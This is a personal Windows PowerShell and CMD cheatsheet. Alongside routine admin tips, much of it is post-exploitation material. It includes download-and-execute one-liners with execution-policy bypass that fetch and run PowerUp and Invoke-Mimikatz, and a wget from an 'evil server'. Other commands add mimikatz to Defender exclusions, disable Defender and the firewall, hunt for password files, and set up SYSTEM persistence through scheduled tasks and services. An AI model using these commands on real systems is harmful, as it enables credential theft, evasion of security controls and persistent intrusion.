Windows Command Line Cheatsheet

Powershell

Enable ISE using powershell

In the few months that I've been developing powershell, I've found the ISE to be incredibly useful. If you get on a new machine and the ISE isn't there, here's how you can get it going in the powershell terminal:

Import-Module ServerManager
Add-WindowsFeature Powershell-ISE

Securely store credentials in XML for Import

Start out by storing your username and password (in a SecureString format) in a PSCredential object:

$cred = Get-Credential

Next, go ahead and export your credentials to an xml file:

$cred | Export-CliXml <location>.clixml

Finally, when you need it, go ahead and import the credentials from the xml file and stored them in a variable ($cred2 in this particular scenario):

$cred2 = Import-CliXml <location>.clixml

Command output to file

Append this to whatever you're running to get the output in a text file:

| Out-File <location>

For example, if we want to run Invoke-AllChecks from PowerUp and output in a file called output.txt in C:\temp:

Invoke-AllChecks | Out-File C:\temp\output.txt

Command output to clipboard

Command | Clip

Require powershell script run as admin

Add this to the top of the powershell file: #Requires -RunAsAdministrator

Resource: https://serverfault.com/questions/95431/in-a-powershell-script-how-can-i-check-if-im-running-with-administrator-privil

Unzip file

Expand-Archive -Path myfile.zip -DestinationPath C:\temp\myfile

Resource: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/expand-archive?view=powershell-7.1

Download file

$url = "http://192.168.1.3:8080/somebinary.exe"
$outpath = "C:\temp\somebinary.exe"
Invoke-WebRequest -Uri $url -OutFile $outpath

Another way to download a file

Run from cmd:

powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.3','C:\temp\launcher.bat')"

Download PowerUp with Powershell <= v.2.0

This will get you the PowerUp powershell script and put it in C:\Temp, or some folder that the user you're on has permissions to write to.

You can also modify this snippet to download files if wget isn't available.

$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")

one-liner alternative:

(New-Object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")

another one:

powershell.exe -ep bypass -e IEX ((new-object net.webclient).downloadstring('http://target.com:8080/robots.txt'))

Another to decode and execute a base64 powershell payload can be found here.

Using PowerUp

import-module c:\PowerUp\powerup.ps1
# Run all the checks
Invoke-AllChecks

PowerUp one-liner

Get PowerUp, run it, and output to a text file so we can read the output easily.
powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks > C:\Temp\PU.txt

Powershell MimiKatz

powershell.exe -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

Tail a logfile

You can effectively tail -f the last two lines from a log file with the following:
Get-Content logfile.log -Tail 2 –Wait

Run Powershell Script to get around execution of scripts disabled error

powershell -ExecutionPolicy Bypass -File <file>.ps1

Download sysinternals

First you need to ignore ssl trust:
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
then you can download it:
(New-Object System.Net.WebClient).DownloadFile("https://download.sysinternals.com/files/SysinternalsSuite.zip","C:\Temp\sysinternals.zip")

Useful powershell one-liners:

Get hostname:
$env:computername
List local accounts on a system:
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"
Check if system is joined to a domain or a workgroup:
if ((gwmi win32_computersystem).partofdomain -eq $true) { write-host -fore green 'This system is on a domain' } else { write-host -fore red 'This system is part of a workgroup' }

Set environment variable

$env:<name>="stuff"

Show env vars in running script

gci env:* | sort-object <name>
Resource: https://stackoverflow.com/questions/39800481/display-all-environment-variables-from-running-powershell-script

Check if system is running a desktop version of windows

$windesktop = (gwmi win32_operatingsystem).OperatingSystemSKU -notmatch "(\b[7-9]|10|1[2-5]|1[7-9]|2[0-5])"                           
if ($windesktop) 
{ 
    write-output "OS is a flavor of Windows Desktop" 
}

Get Windows kernel version

[Environment]::OSVersion.Version

Get list of IPv4 addr

(gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -ne $null }).ipaddress

Change hostname

Get-WmiObject -Class Win32_ComputerSystem
$ComputerInfo.Rename("new_name")

Log script output to file

Start-Transcript -path c:\windows\temp\interesting.log -Append -force

# do stuff

stop-transcript
exit 1001

Open file with notepad

Start-Process notepad "C:\Program Files\Bla\bla.txt"

Resource: https://stackoverflow.com/questions/42669962/open-file-in-chosen-application-in-powershell

List Exclusions in Defender

Get-MpPreference | Select-Object -ExpandProperty ExclusionPat

Resource: https://superuser.com/questions/1591375/how-to-retrieve-windows-defender-exclusions-by-powershell-without-truncation-out

Add exe to defender allowlist

Add-MpPreference -ExclusionProcess "C:\Temp\mimikatz\x64\mimikatz.exe"

Add extension to defender allowlist

This particular code will allowlist all files that end with a .txt extension:

Add-MpPreference -ExclusionExtension "txt"

Add folder to defender allowlist

Add-MpPreference -ExclusionPath "C:\Folder1"

Resource: https://www.msnoob.com/use-powershell-to-add-exclusion-folder-on-the-windows-defender.html

Stop and Start Defender

Stop:

Set-MpPreference -DisableRealtimeMonitoring $true

Start:

Set-MpPreference -DisableRealtimeMonitoring $false

Resource: https://superuser.com/questions/1046297/how-do-i-turn-off-windows-defender-from-the-command-line

CMD

Wget

wget http://<evil server>/evil.exe -Outfile evil.exe

Open command shell as a user

runas /profile /user:domain\username cmd

Open a powershell window as a user

runas /profile /user:domain\username powershell

Check Permissions for folder

icacls <path>

Netstat with findstr

This is an example of what I equate to running netstat and piping the results through grep in linux.
This is probably closer to netstat with grep:

netstat -ano | findstr 443

Netstat with find

Another way to run netstat and grep for something. In powershell you need to escape the double ticks or it will throw an error:

netstat -anob  | find `"443`"

Check if rdp is enabled

netstat /p tcp /a |findstr 3389

Resource: https://serverfault.com/questions/541086/how-to-diagnose-rdp-with-commandline

Look for files with passwords:

dir /b /s web.config
dir /b /s unattend.xml
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*

Disable firewall

netsh advfirewall set allprofiles state off

Search processes

Similar to using ps and piping the output to grep in linux:

tasklist | findstr processname

Make administrator user active

net user administrator /active:yes

Set user password to never expire

net user user /expires:never /active:yes /logonpasswordchg:no

Create Scheduled task

On start up as system:

schtasks /create /sc onstart /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"

To run every minute as system:

schtasks /create /sc minute /mo 1 /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"

List Scheduled tasks

schtasks

Delete Scheduled task

schtasks /delete /tn "NameofTask" /f

Create service

On start up:

sc create ServiceName binpath="cmd.exe /k C:\Temp\shell.exe" start="auto" obj="LocalSystem"

List Services

sc query

Query Service

sc qc ServiceName

-alternatively-

sc query ServiceName

Stop service

sc stop ServiceName

Start service

sc start ServiceName

Delete Service

sc delete ServiceName

Useful CMD one-liners:

Open event viewer from cmd:
eventvwr
Open services msc:
services.msc
Lists all the service information for each process:
tasklist /svc
Kill a process by PID:
taskkill /pid <pid> /f
Kill firefox (or any process) by name:
taskkill /im firefox.exe /f
Delete a file:
del <file name>
List drives:
fsutil fsinfo drives
Show users with active sessions:
quser or query user
Show active network sessions:
netstat -vb
Get last modified file in a directory (conceptually similar to ls -lart):
dir /O:D /T:W /A:-D
Rename file:
move file new-file-name
Show contents of file:
type file.txt
Current current user and privilege info
whoami /all
List users
net users
List domain users and output to a file
net user /domain > domain-user-list.txt
List domain controller the current system is authenticated with
echo %LOGONSERVER%
Get FSMO roles for current domain (useful info about domain controller setup)
NETDOM QUERY /D:targetdomain.com FSMO
List all domain controllers in the current domain
net group "Domain Controllers" /domain
Print password policy

net accounts

Reboot system immediately

shutdown /r /t 0

Query the registry

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

Add a key to the registry

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

Remove a key from the registry

reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /v hFaZvOAsF /f

Show environment variables
set
How to rm -rf

rd /s /q "path"

Resources

https://stackoverflow.com/questions/4037939/powershell-says-execution-of-scripts-is-disabled-on-this-system
https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/
http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
http://thepcn3rd.blogspot.com/2015/03/utilizing-powerupps1-to-escalate.html
http://secvue.com/using-powerup-with-unquoted-service-paths/
https://github.com/cheetz/Easy-P/blob/master/easy_p.py
https://blogs.technet.microsoft.com/rmilne/2016/06/03/powershell-tail-command/
https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/
https://www.toshellandback.com/2015/11/24/ms-priv-esc/
https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell
https://www.youtube.com/watch?v=PC_iMqiuIRQ
http://tweaks.com/windows/39559/kill-processes-from-command-prompt/
https://stackoverflow.com/questions/43615726/who-command-in-windows
https://www.windows-commandline.com/get-file-modified-date-time/
https://github.com/emilyanncr/Windows-Post-Exploitation
http://www.itswapshop.com/tutorial/how-get-list-all-domain-user-accounts-command-line-windows
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist
http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf
http://www.networkpentest.net/p/windows-command-list.html
https://www.ired.team/offensive-security/persistence/t1053-schtask - creating scheduled tasks
https://pentestlab.blog/2019/10/07/persistence-new-service/ - creating services
https://stackoverflow.com/questions/97875/rm-rf-equivalent-for-windows - how to rm -rf
https://superuser.com/questions/1621648/psexec-access-is-denied-on-domain-user - adding a key to the registry